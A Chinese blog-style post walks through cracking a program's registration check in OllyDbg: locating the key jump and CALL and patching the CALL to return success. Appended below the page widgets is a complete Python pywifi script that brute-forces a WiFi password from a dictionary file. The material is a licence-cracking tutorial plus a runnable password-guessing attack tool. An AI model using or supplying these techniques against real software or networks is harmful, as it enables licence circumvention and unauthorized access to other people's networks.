爆破注册码注册

精髓:找到关键验证方法或者关键跳转,将其修改


未注册


用OllyDbg将其载入,F9运行,ALT+E选择本程序模块

发现为如图样子



解决方法为:右键--分析--从模块中删除分析

变成如下代码



我们通过找软件的关键提示语句来找关键CALL或者跳转

右键中文查找Unicode

发现如下语句:



双击点进去,看到的代码是注册成功时要运行的代码

好了,现在该仔细考虑一下了,如果我们在写一个保护的时候,步骤是我先验证一下注册是否合法,如果合法会跳到注册成功的地方,否则跳到别处,所以我们猜测他的关键跳转应该在注册成功的代码上面。

往上找找到:


发现这三行代码影响成功与否,而最后的je跳转会跳过成功注册的代码,好了,我们在CALL处下断,运行程序执行到此,F8单步,CALL的返回值返回给EAX=0,test al,al之后,ZF标志位为1,影响到JE跳转,我们把ZF标志位置0,JE不跳转后,单步向下,提示注册成功:



好了,关键跳转找到了,第一想法是把JE跳转语句NOP掉,重启软件之后发现并不起作用。

由此想到JE的跳转是因为TEST al,al将标志寄存器更改,AL的值又是受刚才的关键CALL影响,所以我们去该这个关键CALL

右键---跟随  进去CALL的内部代码




我们想让此CALL返回1,可以在短尾也可以在段首更改代码:



在段首修改成这样,因为短尾市retn 0X4 故这里也是

好了,复制到可执行文件即可完成破解

成功如下,注册变为灰色按钮:



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了爆破WiFi密码,我们可以使用Python编写脚本并利用第三方模块pywifi实现。下面是一个简单的示例代码: ```python import pywifi from pywifi import const # 设置要破解的WiFi名称(SSID)和密码字典文件路径 ssid = "WiFi名称" path = "密码字典文件路径" # 创建一个WiFi对象 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 iface = wifi.interfaces()[0] # 断开无线网卡连接 iface.disconnect() # 开启监控 iface.scan() # 获取扫描结果 results = iface.scan_results() # 遍历扫描结果,查找要破解的WiFi for res in results: if res.ssid == ssid: # 创建WiFi连接文件 profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = "" # 读取密码字典文件 with open(path, "r") as f: while True: # 逐行读取密码 password = f.readline().strip() if not password: break # 将密码添加到WiFi连接文件中 profile.key = password # 删除所有WiFi连接文件 iface.remove_all_network_profiles() # 添加新的WiFi连接文件 tmp_profile = iface.add_network_profile(profile) # 连接WiFi iface.connect(tmp_profile) # 判断是否成功连接WiFi if iface.status() == const.IFACE_CONNECTED: print("WiFi密码破解成功:", password) break break ``` 该脚本首先设置要破解的WiFi名称和密码字典文件路径,然后创建一个WiFi对象并获取第一个无线网卡。接着断开无线网卡连接并开启监控,获取扫描结果并遍历扫描结果,查找要破解的WiFi。一旦找到要破解的WiFi,就创建一个WiFi连接文件并逐行读取密码字典文件中的密码,将密码添加到WiFi连接文件中并连接WiFi。如果成功连接WiFi,则输出破解成功的密码。 --相关问题--: 1. 如何安装pywifi模块? 2. 如何生成密码字典文件?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值